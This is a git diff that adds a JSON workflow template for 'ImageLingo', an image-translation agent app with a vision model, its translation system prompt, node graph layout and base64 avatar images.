+ "avatar": "data:image/jpeg;base64,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"
+}
\ No newline at end of file
diff --git a/agent/templates/image_lingo.json b/agent/templates/image_lingo.json
new file mode 100644
index 0000000..0f874d7
--- /dev/null
+++ b/agent/templates/image_lingo.json
@@ -0,0 +1,267 @@
+{
+ "id": 13,
+ "title": {
+ "en": "ImageLingo",
+ "zh": "图片解析"},
+ "description": {
+ "en": "ImageLingo lets you snap any photo containing text—menus, signs, or documents—and instantly recognize and translate it into your language of choice using advanced AI-powered translation technology.",
+ "zh": "多模态大模型允许您拍摄任何包含文本的照片——菜单、标志或文档——立即识别并转换成您选择的语言。"},
+ "canvas_type": "Consumer App",
+ "dsl": {
+ "components": {
+ "Agent:CoolPandasCrash": {
+ "downstream": [
+ "Message:CurlyApplesRelate"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_filter": "image2text",
+ "llm_id": "qwen-vl-plus@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ },
+ "structured_output": {}
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}\n\n\n\nThe input files are {sys.files}\n\n",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a multilingual translation assistant that works from images. When given a photo of any text or scene, you should:\n\n\n\n1. Detect and extract all written text in the image, regardless of font, orientation, or style. \n\n2. Identify the source language of the extracted text. \n\n3. Determine the target language:\n\n - If the user explicitly specifies a language, use that.\n\n - If no language is specified, automatically detect the user\u2019s spoken language and use that as the target. \n\n4. Translate the content accurately into the target language, preserving meaning, tone, and formatting (e.g., line breaks, punctuation). \n\n5. If the image contains signage, menus, labels, or other contextual text, adapt the translation to be natural and context-appropriate for daily use. \n\n6. Return the translated text in plain, well-formatted paragraphs. If the user asks, also provide transliteration for non-Latin scripts. \n\n7. If the image is unclear or the target language cannot be determined, ask a clarifying follow-up question.\n\n\nExample:\n\nUser: \u201cTranslate this photo for me.\u201d\n\nAgent Input: [Image of a Japanese train schedule]\n\nAgent Output:\n\n\u201c7:30 AM \u2013 \u6771\u4eac\u99c5 (Tokyo Station) \n\n8:15 AM \u2013 \u65b0\u5927\u962a (Shin-Osaka)\u201d \n\n(Detected user language: English)```\n\n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": "sys.files"
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:CurlyApplesRelate": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:CoolPandasCrash@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:CoolPandasCrash"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:CoolPandasCrash"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "task",
+ "prologue": "Hi there! I\u2019m ImageLingo, your on-the-go image translation assistant\u2014just snap a photo, and I\u2019ll instantly translate and adapt it into your language."
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:CoolPandasCrashend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:CoolPandasCrash",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:CoolPandasCrashstart-Message:CurlyApplesRelateend",
+ "source": "Agent:CoolPandasCrash",
+ "sourceHandle": "start",
+ "target": "Message:CurlyApplesRelate",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "task",
+ "prologue": "Hi there! I\u2019m ImageLingo, your on-the-go image translation assistant\u2014just snap a photo, and I\u2019ll instantly translate and adapt it into your language."
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 50,
+ "y": 200
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_goto": "",
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_filter": "image2text",
+ "llm_id": "qwen-vl-plus@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ },
+ "structured_output": {}
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}\n\n\n\nThe input files are {sys.files}\n\n",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a multilingual translation assistant that works from images. When given a photo of any text or scene, you should:\n\n\n\n1. Detect and extract all written text in the image, regardless of font, orientation, or style. \n\n2. Identify the source language of the extracted text. \n\n3. Determine the target language:\n\n - If the user explicitly specifies a language, use that.\n\n - If no language is specified, automatically detect the user\u2019s spoken language and use that as the target. \n\n4. Translate the content accurately into the target language, preserving meaning, tone, and formatting (e.g., line breaks, punctuation). \n\n5. If the image contains signage, menus, labels, or other contextual text, adapt the translation to be natural and context-appropriate for daily use. \n\n6. Return the translated text in plain, well-formatted paragraphs. If the user asks, also provide transliteration for non-Latin scripts. \n\n7. If the image is unclear or the target language cannot be determined, ask a clarifying follow-up question.\n\n\nExample:\n\nUser: \u201cTranslate this photo for me.\u201d\n\nAgent Input: [Image of a Japanese train schedule]\n\nAgent Output:\n\n\u201c7:30 AM \u2013 \u6771\u4eac\u99c5 (Tokyo Station) \n\n8:15 AM \u2013 \u65b0\u5927\u962a (Shin-Osaka)\u201d \n\n(Detected user language: English)```\n\n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": "sys.files"
+ },
+ "label": "Agent",
+ "name": "Translation Agent With Vision"
+ },
+ "dragging": false,
+ "id": "Agent:CoolPandasCrash",
+ "measured": {
+ "height": 87,
+ "width": 200
+ },
+ "position": {
+ "x": 350.5,
+ "y": 200
+ },
+ "selected": true,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:CoolPandasCrash@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Message"
+ },
+ "id": "Message:CurlyApplesRelate",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 650,
+ "y": 200
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "ImageLingo lets you snap any photo containing text\u2014menus, signs, or documents\u2014and instantly recognize and translate it into your language of choice using advanced OCR and AI-powered translation technology. With automatic source-language detection and context-aware adaptations, translations preserve formatting, tone, and intent. Your on-the-go language assistant. "
+ },
+ "label": "Note",
+ "name": "Translation Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 190,
+ "id": "Note:OpenCobrasMarry",
+ "measured": {
+ "height": 190,
+ "width": 376
+ },
+ "position": {
+ "x": 385.5,
+ "y": -42
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 376
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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